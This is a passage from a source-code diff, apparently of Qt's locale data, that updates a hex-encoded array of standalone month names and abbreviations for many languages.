0x94d, 0x91a, 0x3b, 0x90f, 0x92a, 0x94d, 0x930, 0x93f, 0x932, +0x3b, 0x92e, 0x947, 0x3b, 0x91c, 0x942, 0x928, 0x3b, 0x91c, 0x941, 0x932, 0x948, 0x3b, 0x911, 0x917, 0x938, 0x94d, 0x91f, 0x3b, 0x938, +0x92a, 0x94d, 0x91f, 0x947, 0x902, 0x92c, 0x930, 0x3b, 0x911, 0x915, 0x94d, 0x91f, 0x94b, 0x92c, 0x930, 0x3b, 0x928, 0x94b, 0x935, 0x94d, +0x939, 0x947, 0x902, 0x92c, 0x930, 0x3b, 0x921, 0x93f, 0x938, 0x947, 0x902, 0x92c, 0x930, 0x3b, 0x91c, 0x93e, 0x3b, 0x92b, 0x947, 0x3b, +0x92e, 0x93e, 0x3b, 0x90f, 0x3b, 0x92e, 0x947, 0x3b, 0x91c, 0x942, 0x3b, 0x91c, 0x941, 0x3b, 0x911, 0x3b, 0x938, 0x3b, 0x911, 0x3b, +0x928, 0x94b, 0x3b, 0x921, 0x93f, 0x3b, 0x445, 0x443, 0x43b, 0x3b, 0x4af, 0x445, 0x44d, 0x3b, 0x431, 0x430, 0x440, 0x3b, 0x442, 0x443, +0x443, 0x3b, 0x43b, 0x443, 0x443, 0x3b, 0x43c, 0x43e, 0x433, 0x3b, 0x43c, 0x43e, 0x440, 0x3b, 0x445, 0x43e, 0x43d, 0x3b, 0x431, 0x438, +0x447, 0x3b, 0x442, 0x430, 0x445, 0x3b, 0x43d, 0x43e, 0x445, 0x3b, 0x433, 0x430, 0x445, 0x3b, 0x425, 0x443, 0x43b, 0x433, 0x430, 0x43d, +0x430, 0x3b, 0x4ae, 0x445, 0x44d, 0x440, 0x3b, 0x411, 0x430, 0x440, 0x3b, 0x422, 0x443, 0x443, 0x43b, 0x430, 0x439, 0x3b, 0x41b, 0x443, +0x443, 0x3b, 0x41c, 0x43e, 0x433, 0x43e, 0x439, 0x3b, 0x41c, 0x43e, 0x440, 0x44c, 0x3b, 0x425, 0x43e, 0x43d, 0x44c, 0x3b, 0x411, 0x438, +0x447, 0x3b, 0x422, 0x430, 0x445, 0x438, 0x430, 0x3b, 0x41d, 0x43e, 0x445, 0x43e, 0x439, 0x3b, 0x413, 0x430, 0x445, 0x430, 0x439, 0x3b, +0x91c, 0x928, 0x3b, 0x92b, 0x947, 0x92c, 0x3b, 0x92e, 0x93e, 0x930, 0x94d, 0x91a, 0x3b, 0x905, 0x92a, 0x94d, 0x930, 0x93f, 0x3b, 0x92e, +0x947, 0x3b, 0x91c, 0x941, 0x928, 0x3b, 0x91c, 0x941, 0x932, 0x93e, 0x3b, 0x905, 0x917, 0x3b, 0x938, 0x947, 0x92a, 0x94d, 0x91f, 0x3b, +0x905, 0x915, 0x94d, 0x91f, 0x94b, 0x3b, 0x928, 0x94b, 0x92d, 0x947, 0x3b, 0x921, 0x93f, 0x938, 0x947, 0x3b, 0x91c, 0x928, 0x935, 0x930, +0x940, 0x3b, 0x92b, 0x930, 0x935, 0x930, 0x940, 0x3b, 0x92e, 0x93e, 0x930, 0x94d, 0x91a, 0x3b, 0x905, 0x92a, 0x94d, 0x930, 0x947, 0x932, +0x3b, 0x92e, 0x908, 0x3b, 0x91c, 0x941, 0x928, 0x3b, 0x91c, 0x941, 0x932, 0x93e, 0x908, 0x3b, 0x905, 0x917, 0x938, 0x94d, 0x924, 0x3b, +0x938, 0x947, 0x92a, 0x94d, 0x91f, 0x947, 0x92e, 0x94d, 0x92c, 0x930, 0x3b, 0x905, 0x915, 0x94d, 0x91f, 0x94b, 0x92c, 0x930, 0x3b, 0x928, +0x94b, 0x92d, 0x947, 0x92e, 0x94d, 0x92c, 0x930, 0x3b, 0x926, 0x93f, 0x938, 0x92e, 0x94d, 0x92c, 0x930, 0x3b, 0x967, 0x3b, 0x968, 0x3b, +0x969, 0x3b, 0x96a, 0x3b, 0x96b, 0x3b, 0x96c, 0x3b, 0x96d, 0x3b, 0x96e, 0x3b, 0x96f, 0x3b, 0x967, 0x966, 0x3b, 0x967, 0x967, 0x3b, +0x967, 0x968, 0x3b, 0x91c, 0x928, 0x935, 0x930, 0x940, 0x3b, 0x92b, 0x947, 0x92c, 0x94d, 0x930, 0x941, 0x905, 0x930, 0x940, 0x3b, 0x92e, +0x93e, 0x930, 0x94d, 0x91a, 0x3b, 0x905, 0x92a, 0x94d, 0x930, 0x93f, 0x932, 0x3b, 0x92e, 0x947, 0x3b, 0x91c, 0x941, 0x928, 0x3b, 0x91c, +0x941, 0x932, 0x93e, 0x908, 0x3b, 0x905, 0x917, 0x938, 0x94d, 0x924, 0x3b, 0x938, 0x947, 0x92a, 0x94d, 0x91f, 0x947, 0x92e, 0x94d, 0x92c, +0x930, 0x3b, 0x905, 0x915, 0x94d, 0x91f, 0x94b, 0x92c, 0x930, 0x3b, 0x928, 0x94b, 0x92d, 0x947, 0x92e, 0x94d, 0x92c, 0x930, 0x3b, 0x921, +0x93f, 0x938, 0x947, 0x92e, 0x94d, 0x92c, 0x930, 0x3b, 0x6a, 0x61, 0x6e, 0x2e, 0x3b, 0x66, 0x65, 0x62, 0x2e, 0x3b, 0x6d, 0x61, +0x72, 0x73, 0x3b, 0x61, 0x70, 0x72, 0x2e, 0x3b, 0x6d, 0x61, 0x69, 0x3b, 0x6a, 0x75, 0x6e, 0x69, 0x3b, 0x6a, 0x75, 0x6c, +0x69, 0x3b, 0x61, 0x75, 0x67, 0x2e, 0x3b, 0x73, 0x65, 0x70, 0x2e, 0x3b, 0x6f, 0x6b, 0x74, 0x2e, 0x3b, 0x6e, 0x6f, 0x76, +0x2e, 0x3b, 0x64, 0x65, 0x73, 0x2e, 0x3b, 0x6a, 0x61, 0x6e, 0x75, 0x61, 0x72, 0x3b, 0x66, 0x65, 0x62, 0x72, 0x75, 0x61, +0x72, 0x3b, 0x6d, 0x61, 0x72, 0x73, 0x3b, 0x61, 0x70, 0x72, 0x69, 0x6c, 0x3b, 0x6d, 0x61, 0x69, 0x3b, 0x6a, 0x75, 0x6e, +0x69, 0x3b, 0x6a, 0x75, 0x6c, 0x69, 0x3b, 0x61, 0x75, 0x67, 0x75, 0x73, 0x74, 0x3b, 0x73, 0x65, 0x70, 0x74, 0x65, 0x6d, +0x62, 0x65, 0x72, 0x3b, 0x6f, 0x6b, 0x74, 0x6f, 0x62, 0x65, 0x72, 0x3b, 0x6e, 0x6f, 0x76, 0x65, 0x6d, 0x62, 0x65, 0x72, +0x3b, 0x64, 0x65, 0x73, 0x65, 0x6d, 0x62, 0x65, 0x72, 0x3b, 0x67, 0x65, 0x6e, 0x69, 0xe8, 0x72, 0x3b, 0x66, 0x65, 0x62, +0x72, 0x69, 0xe8, 0x72, 0x3b, 0x6d, 0x61, 0x72, 0xe7, 0x3b, 0x61, 0x62, 0x72, 0x69, 0x6c, 0x3b, 0x6d, 0x61, 0x69, 0x3b, +0x6a, 0x75, 0x6e, 0x68, 0x3b, 0x6a, 0x75, 0x6c, 0x68, 0x65, 0x74, 0x3b, 0x61, 0x67, 0x6f, 0x73, 0x74, 0x3b, 0x73, 0x65, +0x74, 0x65, 0x6d, 0x62, 0x72, 0x65, 0x3b, 0x6f, 0x63, 0x74, 0xf2, 0x62, 0x72, 0x65, 0x3b, 0x6e, 0x6f, 0x76, 0x65, 0x6d, +0x62, 0x72, 0x65, 0x3b, 0x64, 0x65, 0x7a, 0x65, 0x6d, 0x62, 0x72, 0x65, 0x3b, 0xb1c, 0xb3e, 0xb28, 0xb41, 0xb06, 0xb30, 0xb40, +0x3b, 0xb2b, 0xb47, 0xb2c, 0xb4d, 0xb30, 0xb41, 0xb5f, 0xb3e, 0xb30, 0xb40, 0x3b, 0xb2e, 0xb3e, 0xb30, 0xb4d, 0xb1a, 0xb4d, 0xb1a, 0x3b, +0xb05, 0xb2a, 0xb4d, 0xb30, 0xb47, 0xb32, 0x3b, 0xb2e, 0xb47, 0x3b, 0xb1c, 0xb41, 0xb28, 0x3b, 0xb1c, 0xb41, 0xb32, 0xb3e, 0xb07, 0x3b, +0xb05, 0xb17, 0xb37, 0xb4d, 0xb1f, 0x3b, 0xb38, 0xb47, 0xb2a, 0xb4d, 0xb1f, 0xb47, 0xb2e, 0xb4d, 0xb2c, 0xb30, 0x3b, 0xb05, 0xb15, 0xb4d, +0xb1f, 0xb4b, 0xb2c, 0xb30, 0x3b, 0xb28, 0xb2d, 0xb47, 0xb2e, 0xb4d, 0xb2c, 0xb30, 0x3b, 0xb21, 0xb3f, 0xb38, 0xb47, 0xb2e, 0xb4d, 0xb2c, +0xb30, 0x3b, 0xb1c, 0xb3e, 0x3b, 0xb2b, 0xb47, 0x3b, 0xb2e, 0xb3e, 0x3b, 0xb05, 0x3b, 0xb2e, 0xb47, 0x3b, 0xb1c, 0xb41, 0x3b, 0xb1c, +0xb41, 0x3b, 0xb05, 0x3b, 0xb38, 0xb47, 0x3b, 0xb05, 0x3b, 0xb28, 0x3b, 0xb21, 0xb3f, 0x3b, 0x62c, 0x646, 0x648, 0x631, 0x64a, 0x3b, +0x641, 0x628, 0x631, 0x648, 0x631, 0x64a, 0x3b, 0x645, 0x627, 0x631, 0x686, 0x3b, 0x627, 0x67e, 0x631, 0x6cc, 0x644, 0x3b, 0x645, 0x6cc, +0x3b, 0x62c, 0x648, 0x646, 0x3b, 0x62c, 0x648, 0x644, 0x627, 0x6cc, 0x3b, 0x627, 0x6ab, 0x633, 0x62a, 0x3b, 0x633, 0x67e, 0x62a, 0x645, +0x628, 0x631, 0x3b, 0x627, 0x6a9, 0x62a, 0x648, 0x628, 0x631, 0x3b, 0x646, 0x648, 0x645, 0x628, 0x631, 0x3b, 0x62f, 0x633, 0x645, 0x628, +0x631, 0x3b, 0x698, 0x627, 0x646, 0x648, 0x6cc, 0x647, 0x654, 0x3b, 0x641, 0x648, 0x631, 0x6cc, 0x647, 0x654, 0x3b, 0x645, 0x627, 0x631, +0x633, 0x3b, 0x622, 0x648, 0x631, 0x6cc, 0x644, 0x3b, 0x645, 0x6cc, 0x3b, 0x62c, 0x648, 0x646, 0x3b, 0x62c, 0x648, 0x644, 0x627, 0x6cc, +0x3b, 0x627, 0x648, 0x62a, 0x3b, 0x633, 0x67e, 0x62a, 0x627, 0x645, 0x628, 0x631, 0x3b, 0x627, 0x6a9, 0x62a, 0x628, 0x631, 0x3b, 0x646, +0x648, 0x627, 0x645, 0x628, 0x631, 0x3b, 0x62f, 0x633, 0x627, 0x645, 0x628, 0x631, 0x3b, 0x698, 0x627, 0x646, 0x648, 0x6cc, 0x647, 0x3b, +0x641, 0x648, 0x631, 0x6cc, 0x647, 0x3b, 0x645, 0x627, 0x631, 0x633, 0x3b, 0x622, 0x648, 0x631, 0x6cc, 0x644, 0x3b, 0x645, 0x647, 0x3b, +0x698, 0x648, 0x626, 0x646, 0x3b, 0x698, 0x648, 0x626, 0x6cc, 0x647, 0x3b, 0x627, 0x648, 0x62a, 0x3b, 0x633, 0x67e, 0x62a, 0x627, 0x645, +0x628, 0x631, 0x3b, 0x627, 0x6a9, 0x62a, 0x628, 0x631, 0x3b, 0x646, 0x648, 0x627, 0x645, 0x628, 0x631, 0x3b, 0x62f, 0x633, 0x627, 0x645, +0x628, 0x631, 0x3b, 0x698, 0x3b, 0x641, 0x3b, 0x645, 0x3b, 0x622, 0x3b, 0x645, 0x6cc, 0x3b, 0x698, 0x3b, 0x698, 0x3b, 0x627, 0x3b, +0x633, 0x3b, 0x627, 0x3b, 0x646, 0x3b, 0x62f, 0x3b, 0x62c, 0x646, 0x648, 0x3b, 0x641, 0x648, 0x631, 0x6cc, 0x647, 0x654, 0x3b, 0x645, +0x627, 0x631, 0x633, 0x3b, 0x622, 0x648, 0x631, 0x6cc, 0x644, 0x3b, 0x645, 0x640, 0x6cc, 0x3b, 0x62c, 0x648, 0x646, 0x3b, 0x62c, 0x648, +0x644, 0x3b, 0x627, 0x648, 0x62a, 0x3b, 0x633, 0x67e, 0x62a, 0x627, 0x645, 0x628, 0x631, 0x3b, 0x627, 0x6a9, 0x62a, 0x628, 0x631, 0x3b, +0x646, 0x648, 0x627, 0x645, 0x628, 0x631, 0x3b, 0x62f, 0x633, 0x645, 0x3b, 0x62c, 0x3b, 0x641, 0x3b, 0x645, 0x3b, 0x627, 0x3b, 0x645, +0x3b, 0x62c, 0x3b, 0x62c, 0x3b, 0x627, 0x3b, 0x633, 0x3b, 0x627, 0x3b, 0x646, 0x3b, 0x62f, 0x3b, 0x73, 0x74, 0x79, 0x3b, 0x6c, +0x75, 0x74, 0x3b, 0x6d, 0x61, 0x72, 0x3b, 0x6b, 0x77, 0x69, 0x3b, 0x6d, 0x61, 0x6a, 0x3b, 0x63, 0x7a, 0x65, 0x3b, 0x6c, +0x69, 0x70, 0x3b, 0x73, 0x69, 0x65, 0x3b, 0x77, 0x72, 0x7a, 0x3b, 0x70, 0x61, 0x17a, 0x3b, 0x6c, 0x69, 0x73, 0x3b, 0x67, +0x72, 0x75, 0x3b, 0x73, 0x74, 0x79, 0x63, 0x7a, 0x65, 0x144, 0x3b, 0x6c, 0x75, 0x74, 0x79, 0x3b, 0x6d, 0x61, 0x72, 0x7a, +0x65, 0x63, 0x3b, 0x6b, 0x77, 0x69, 0x65, 0x63, 0x69, 0x65, 0x144, 0x3b, 0x6d, 0x61, 0x6a, 0x3b, 0x63, 0x7a, 0x65, 0x72, +0x77, 0x69, 0x65, 0x63, 0x3b, 0x6c, 0x69, 0x70, 0x69, 0x65, 0x63, 0x3b, 0x73, 0x69, 0x65, 0x72, 0x70, 0x69, 0x65, 0x144, +0x3b, 0x77, 0x72, 0x7a, 0x65, 0x73, 0x69, 0x65, 0x144, 0x3b, 0x70, 0x61, 0x17a, 0x64, 0x7a, 0x69, 0x65, 0x72, 0x6e, 0x69, +0x6b, 0x3b, 0x6c, 0x69, 0x73, 0x74, 0x6f, 0x70, 0x61, 0x64, 0x3b, 0x67, 0x72, 0x75, 0x64, 0x7a, 0x69, 0x65, 0x144, 0x3b, +0x73, 0x3b, 0x6c, 0x3b, 0x6d, 0x3b, 0x6b, 0x3b, 0x6d, 0x3b, 0x63, 0x3b, 0x6c, 0x3b, 0x73, 0x3b, 0x77, 0x3b, 0x70, 0x3b, +0x6c, 0x3b, 0x67, 0x3b, 0x4a, 0x61, 0x6e, 0x3b, 0x46, 0x65, 0x76, 0x3b, 0x4d, 0x61, 0x72, 0x3b, 0x41, 0x62, 0x72, 0x3b, +0x4d, 0x61, 0x69, 0x3b, 0x4a, 0x75, 0x6e, 0x3b, 0x4a, 0x75, 0x6c, 0x3b, 0x41, 0x67, 0x6f, 0x3b, 0x53, 0x65, 0x74, 0x3b, +0x4f, 0x75, 0x74, 0x3b, 0x4e, 0x6f, 0x76, 0x3b, 0x44, 0x65, 0x7a, 0x3b, 0x4a, 0x61, 0x6e, 0x65, 0x69, 0x72, 0x6f, 0x3b, +0x46, 0x65, 0x76, 0x65, 0x72, 0x65, 0x69, 0x72, 0x6f, 0x3b, 0x4d, 0x61, 0x72, 0xe7, 0x6f, 0x3b, 0x41, 0x62, 0x72, 0x69, +0x6c, 0x3b, 0x4d, 0x61, 0x69, 0x6f, 0x3b, 0x4a, 0x75, 0x6e, 0x68, 0x6f, 0x3b, 0x4a, 0x75, 0x6c, 0x68, 0x6f, 0x3b, 0x41, +0x67, 0x6f, 0x73, 0x74, 0x6f, 0x3b, 0x53, 0x65, 0x74, 0x65, 0x6d, 0x62, 0x72, 0x6f, 0x3b, 0x4f, 0x75, 0x74, 0x75, 0x62, +0x72, 0x6f, 0x3b, 0x4e, 0x6f, 0x76, 0x65, 0x6d, 0x62, 0x72, 0x6f, 0x3b, 0x44, 0x65, 0x7a, 0x65, 0x6d, 0x62, 0x72, 0x6f, +0x3b, 0x6a, 0x61, 0x6e, 0x3b, 0x66, 0x65, 0x76, 0x3b, 0x6d, 0x61, 0x72, 0x3b, 0x61, 0x62, 0x72, 0x3b, 0x6d, 0x61, 0x69, +0x3b, 0x6a, 0x75, 0x6e, 0x3b, 0x6a, 0x75, 0x6c, 0x3b, 0x61, 0x67, 0x6f, 0x3b, 0x73, 0x65, 0x74, 0x3b, 0x6f, 0x75, 0x74, +0x3b, 0x6e, 0x6f, 0x76, 0x3b, 0x64, 0x65, 0x7a, 0x3b, 0x6a, 0x61, 0x6e, 0x65, 0x69, 0x72, 0x6f, 0x3b, 0x66, 0x65, 0x76, +0x65, 0x72, 0x65, 0x69, 0x72, 0x6f, 0x3b, 0x6d, 0x61, 0x72, 0xe7, 0x6f, 0x3b, 0x61, 0x62, 0x72, 0x69, 0x6c, 0x3b, 0x6d, +0x61, 0x69, 0x6f, 0x3b, 0x6a, 0x75, 0x6e, 0x68, 0x6f, 0x3b, 0x6a, 0x75, 0x6c, 0x68, 0x6f, 0x3b, 0x61, 0x67, 0x6f, 0x73, +0x74, 0x6f, 0x3b, 0x73, 0x65, 0x74, 0x65, 0x6d, 0x62, 0x72, 0x6f, 0x3b, 0x6f, 0x75, 0x74, 0x75, 0x62, 0x72, 0x6f, 0x3b, +0x6e, 0x6f, 0x76, 0x65, 0x6d, 0x62, 0x72, 0x6f, 0x3b, 0x64, 0x65, 0x7a, 0x65, 0x6d, 0x62, 0x72, 0x6f, 0x3b, 0xa1c, 0xa28, +0xa35, 0xa30, 0xa40, 0x3b, 0xa2b, 0xa3c, 0xa30, 0xa35, 0xa30, 0xa40, 0x3b, 0xa2e, 0xa3e, 0xa30, 0xa1a, 0x3b, 0xa05, 0xa2a, 0xa4d, 0xa30, +0xa48, 0xa32, 0x3b, 0xa2e, 0xa08, 0x3b, 0xa1c, 0xa42, 0xa28, 0x3b, 0xa1c, 0xa41, 0xa32, 0xa3e, 0xa08, 0x3b, 0xa05, 0xa17, 0xa38, 0xa24, +0x3b, 0xa38, 0xa24, 0xa70, 0xa2c, 0xa30, 0x3b, 0xa05, 0xa15, 0xa24, 0xa42, 0xa2c, 0xa30, 0x3b, 0xa28, 0xa35, 0xa70, 0xa2c, 0xa30, 0x3b, +0xa26, 0xa38, 0xa70, 0xa2c, 0xa30, 0x3b, 0xa1c, 0x3b, 0xa2b, 0x3b, 0xa2e, 0xa3e, 0x3b, 0xa05, 0x3b, 0xa2e, 0x3b, 0xa1c, 0xa42, 0x3b, +0xa1c, 0xa41, 0x3b, 0xa05, 0x3b, 0xa38, 0x3b, 0xa05, 0x3b, 0xa28, 0x3b, 0xa26, 0x3b, 0x62c, 0x646, 0x648, 0x631, 0x6cc, 0x3b, 0x641, +0x631, 0x648, 0x631, 0x6cc, 0x3b, 0x645, 0x627, 0x631, 0x686, 0x3b, 0x627, 0x67e, 0x631, 0x6cc, 0x644, 0x3b, 0x645, 0x626, 0x3b, 0x62c, +0x648, 0x646, 0x3b, 0x62c, 0x648, 0x644, 0x627, 0x626, 0x6cc, 0x3b, 0x627, 0x6af, 0x633, 0x62a, 0x3b, 0x633, 0x62a, 0x645, 0x628, 0x631, +0x3b, 0x627, 0x6a9, 0x62a, 0x648, 0x628, 0x631, 0x3b, 0x646, 0x648, 0x645, 0x628, 0x631, 0x3b, 0x62f, 0x633, 0x645, 0x628, 0x631, 0x3b, +0x73, 0x63, 0x68, 0x61, 0x6e, 0x2e, 0x3b, 0x66, 0x61, 0x76, 0x72, 0x2e, 0x3b, 0x6d, 0x61, 0x72, 0x73, 0x3b, 0x61, 0x76, +0x72, 0x2e, 0x3b, 0x6d, 0x61, 0x74, 0x67, 0x3b, 0x7a, 0x65, 0x72, 0x63, 0x6c, 0x2e, 0x3b, 0x66, 0x61, 0x6e, 0x2e, 0x3b, +0x61, 0x76, 0x75, 0x73, 0x74, 0x3b, 0x73, 0x65, 0x74, 0x74, 0x2e, 0x3b, 0x6f, 0x63, 0x74, 0x2e, 0x3b, 0x6e, 0x6f, 0x76, +0x2e, 0x3b, 0x64, 0x65, 0x63, 0x2e, 0x3b, 0x73, 0x63, 0x68, 0x61, 0x6e, 0x65, 0x72, 0x3b, 0x66, 0x61, 0x76, 0x72, 0x65, +0x72, 0x3b, 0x6d, 0x61, 0x72, 0x73, 0x3b, 0x61, 0x76, 0x72, 0x69, 0x67, 0x6c, 0x3b, 0x6d, 0x61, 0x74, 0x67, 0x3b, 0x7a, +0x65, 0x72, 0x63, 0x6c, 0x61, 0x64, 0x75, 0x72, 0x3b, 0x66, 0x61, 0x6e, 0x61, 0x64, 0x75, 0x72, 0x3b, 0x61, 0x76, 0x75, +0x73, 0x74, 0x3b, 0x73, 0x65, 0x74, 0x74, 0x65, 0x6d, 0x62, 0x65, 0x72, 0x3b, 0x6f, 0x63, 0x74, 0x6f, 0x62, 0x65, 0x72, +0x3b, 0x6e, 0x6f, 0x76, 0x65, 0x6d, 0x62, 0x65, 0x72, 0x3b, 0x64, 0x65, 0x63, 0x65, 0x6d, 0x62, 0x65, 0x72, 0x3b, 0x53, +0x3b, 0x46, 0x3b, 0x4d, 0x3b, 0x41, 0x3b, 0x4d, 0x3b, 0x5a, 0x3b, 0x46, 0x3b, 0x41, 0x3b, 0x53, 0x3b, 0x4f, 0x3b, 0x4e, +0x3b, 0x44, 0x3b, 0x69, 0x61, 0x6e, 0x2e, 0x3b, 0x66, 0x65, 0x62, 0x2e, 0x3b, 0x6d, 0x61, 0x72, 0x2e, 0x3b, 0x61, 0x70, +0x72, 0x2e, 0x3b, 0x6d, 0x61, 0x69, 0x3b, 0x69, 0x75, 0x6e, 0x2e, 0x3b, 0x69, 0x75, 0x6c, 0x2e, 0x3b, 0x61, 0x75, 0x67, +0x2e, 0x3b, 0x73, 0x65, 0x70, 0x74, 0x2e, 0x3b, 0x6f, 0x63, 0x74, 0x2e, 0x3b, 0x6e, 0x6f, 0x76, 0x2e, 0x3b, 0x64, 0x65, +0x63, 0x2e, 0x3b, 0x69, 0x61, 0x6e, 0x75, 0x61, 0x72, 0x69, 0x65, 0x3b, 0x66, 0x65, 0x62, 0x72, 0x75, 0x61, 0x72, 0x69, +0x65, 0x3b, 0x6d, 0x61, 0x72, 0x74, 0x69, 0x65, 0x3b, 0x61, 0x70, 0x72, 0x69, 0x6c, 0x69, 0x65, 0x3b, 0x6d, 0x61, 0x69, +0x3b, 0x69, 0x75, 0x6e, 0x69, 0x65, 0x3b, 0x69, 0x75, 0x6c, 0x69, 0x65, 0x3b, 0x61, 0x75, 0x67, 0x75, 0x73, 0x74, 0x3b, +0x73, 0x65, 0x70, 0x74, 0x65, 0x6d, 0x62, 0x72, 0x69, 0x65, 0x3b, 0x6f, 0x63, 0x74, 0x6f, 0x6d, 0x62, 0x72, 0x69, 0x65, +0x3b, 0x6e, 0x6f, 0x69, 0x65, 0x6d, 0x62, 0x72, 0x69, 0x65, 0x3b, 0x64, 0x65, 0x63, 0x65, 0x6d, 0x62, 0x72, 0x69, 0x65, 0x3b, 0x49, 0x3b, 0x46, 0x3b, 0x4d, 0x3b, 0x41, 0x3b, 0x4d, 0x3b, 0x49, 0x3b, 0x49, 0x3b, 0x41, 0x3b, 0x53, 0x3b, 0x4f, 0x3b, 0x4e, 0x3b, 0x44, 0x3b, 0x44f, 0x43d, 0x432, 0x2e, 0x3b, 0x444, 0x435, 0x432, 0x440, 0x2e, 0x3b, 0x43c, 0x430, 0x440, 0x442, 0x3b, 0x430, 0x43f, 0x440, 0x2e, 0x3b, 0x43c, 0x430, 0x439, 0x3b, 0x438, 0x44e, 0x43d, 0x44c, 0x3b, 0x438, 0x44e, 0x43b, 0x44c, 0x3b, @@ -1532,41 +2635,769 @@ static const ushort standalone_months_data[] = { 0x43d, 0x44c, 0x3b, 0x418, 0x44e, 0x43b, 0x44c, 0x3b, 0x410, 0x432, 0x433, 0x443, 0x441, 0x442, 0x3b, 0x421, 0x435, 0x43d, 0x442, 0x44f, 0x431, 0x440, 0x44c, 0x3b, 0x41e, 0x43a, 0x442, 0x44f, 0x431, 0x440, 0x44c, 0x3b, 0x41d, 0x43e, 0x44f, 0x431, 0x440, 0x44c, 0x3b, 0x414, 0x435, 0x43a, 0x430, 0x431, 0x440, 0x44c, 0x3b, 0x42f, 0x3b, 0x424, 0x3b, 0x41c, 0x3b, 0x410, 0x3b, 0x41c, 0x3b, 0x418, 0x3b, 0x418, -0x3b, 0x410, 0x3b, 0x421, 0x3b, 0x41e, 0x3b, 0x41d, 0x3b, 0x414, 0x3b, 0x6a, 0x3b, 0x66, 0x3b, 0x6d, 0x3b, 0x61, 0x3b, 0x6d, -0x3b, 0x6a, 0x3b, 0x6a, 0x3b, 0x61, 0x3b, 0x73, 0x3b, 0x6f, 0x3b, 0x6e, 0x3b, 0x64, 0x3b, 0xda2, 0x3b, 0xdb4, 0xdd9, 0x3b, -0xdb8, 0xdcf, 0x3b, 0xd85, 0x3b, 0xdb8, 0xdd0, 0x3b, 0xda2, 0xdd6, 0x3b, 0xda2, 0xdd6, 0x3b, 0xd85, 0x3b, 0xdc3, 0xdd0, 0x3b, 0xd94, -0x3b, 0xdb1, 0xddc, 0x3b, 0xdaf, 0xdd9, 0x3b, 0x4b, 0x3b, 0x4c, 0x3b, 0x53, 0x3b, 0x41, 0x3b, 0x53, 0x3b, 0x4c, 0x3b, 0x54, -0x3b, 0x53, 0x3b, 0x53, 0x3b, 0x54, 0x3b, 0x4b, 0x3b, 0x4c, 0x3b, 0x45, 0x3b, 0x46, 0x3b, 0x4d, 0x3b, 0x41, 0x3b, 0x4d, -0x3b, 0x4a, 0x3b, 0x4a, 0x3b, 0x41, 0x3b, 0x53, 0x3b, 0x4f, 0x3b, 0x4e, 0x3b, 0x44, 0x3b, 0xc1c, 0x3b, 0xc2b, 0xc3f, 0x3b, -0xc2e, 0x3b, 0xc0e, 0x3b, 0xc2e, 0xc46, 0x3b, 0xc1c, 0xc41, 0x3b, 0xc1c, 0xc41, 0x3b, 0xc06, 0x3b, 0xc38, 0xc46, 0x3b, 0xc05, 0x3b, -0xc28, 0x3b, 0xc21, 0xc3f, 0x3b, 0xe21, 0x2e, 0xe04, 0x2e, 0x3b, 0xe01, 0x2e, 0xe1e, 0x2e, 0x3b, 0xe21, 0xe35, 0x2e, 0xe04, 0x2e, -0x3b, 0xe40, 0xe21, 0x2e, 0xe22, 0x2e, 0x3b, 0xe1e, 0x2e, 0xe04, 0x2e, 0x3b, 0xe21, 0xe34, 0x2e, 0xe22, 0x2e, 0x3b, 0xe01, 0x2e, -0xe04, 0x2e, 0x3b, 0xe2a, 0x2e, 0xe04, 0x2e, 0x3b, 0xe01, 0x2e, 0xe22, 0x2e, 0x3b, 0xe15, 0x2e, 0xe04, 0x2e, 0x3b, 0xe1e, 0x2e, -0xe22, 0x2e, 0x3b, 0xe18, 0x2e, 0xe04, 0x2e, 0x3b, 0x53, 0x3b, 0x46, 0x3b, 0x4d, 0x3b, 0x45, 0x3b, 0x4d, 0x3b, 0x53, 0x3b, -0x53, 0x3b, 0x41, 0x3b, 0x53, 0x3b, 0x4f, 0x3b, 0x4e, 0x3b, 0x54, 0x3b, 0x4f, 0x3b, 0x15e, 0x3b, 0x4d, 0x3b, 0x4e, 0x3b, -0x4d, 0x3b, 0x48, 0x3b, 0x54, 0x3b, 0x41, 0x3b, 0x45, 0x3b, 0x45, 0x3b, 0x4b, 0x3b, 0x41, 0x3b, 0x421, 0x456, 0x447, 0x3b, -0x41b, 0x44e, 0x442, 0x3b, 0x411, 0x435, 0x440, 0x3b, 0x41a, 0x432, 0x456, 0x3b, 0x422, 0x440, 0x430, 0x3b, 0x427, 0x435, 0x440, 0x3b, -0x41b, 0x438, 0x43f, 0x3b, 0x421, 0x435, 0x440, 0x3b, 0x412, 0x435, 0x440, 0x3b, 0x416, 0x43e, 0x432, 0x3b, 0x41b, 0x438, 0x441, 0x3b, -0x413, 0x440, 0x443, 0x3b, 0x421, 0x456, 0x447, 0x435, 0x43d, 0x44c, 0x3b, 0x41b, 0x44e, 0x442, 0x438, 0x439, 0x3b, 0x411, 0x435, 0x440, -0x435, 0x437, 0x435, 0x43d, 0x44c, 0x3b, 0x41a, 0x432, 0x456, 0x442, 0x435, 0x43d, 0x44c, 0x3b, 0x422, 0x440, 0x430, 0x432, 0x435, 0x43d, -0x44c, 0x3b, 0x427, 0x435, 0x440, 0x432, 0x435, 0x43d, 0x44c, 0x3b, 0x41b, 0x438, 0x43f, 0x435, 0x43d, 0x44c, 0x3b, 0x421, 0x435, 0x440, -0x43f, 0x435, 0x43d, 0x44c, 0x3b, 0x412, 0x435, 0x440, 0x435, 0x441, 0x435, 0x43d, 0x44c, 0x3b, 0x416, 0x43e, 0x432, 0x442, 0x435, 0x43d, -0x44c, 0x3b, 0x41b, 0x438, 0x441, 0x442, 0x43e, 0x43f, 0x430, 0x434, 0x3b, 0x413, 0x440, 0x443, 0x434, 0x435, 0x43d, 0x44c, 0x3b, 0x421, -0x3b, 0x41b, 0x3b, 0x411, 0x3b, 0x41a, 0x3b, 0x422, 0x3b, 0x427, 0x3b, 0x41b, 0x3b, 0x421, 0x3b, 0x412, 0x3b, 0x416, 0x3b, 0x41b, -0x3b, 0x413, 0x3b, 0x3b, 0x43, 0x68, 0x77, 0x65, 0x3b, 0x4d, 0x61, 0x77, 0x3b, 0x45, 0x62, 0x72, 0x3b, 0x3b, 0x3b, 0x47, -0x6f, 0x72, 0x3b, 0x3b, 0x3b, 0x3b, 0x3b, 0x3b, 0x3b, 0x3b, 0x3b, 0x3b, 0x3b, 0x3b, 0x47, 0x6f, 0x72, 0x66, 0x66, 0x65, -0x6e, 0x6e, 0x61, 0x66, 0x3b, 0x3b, 0x3b, 0x3b, 0x3b, 0x3b, 0x49, 0x3b, 0x43, 0x3b, 0x4d, 0x3b, 0x45, 0x3b, 0x4d, 0x3b, -0x4d, 0x3b, 0x47, 0x3b, 0x41, 0x3b, 0x4d, 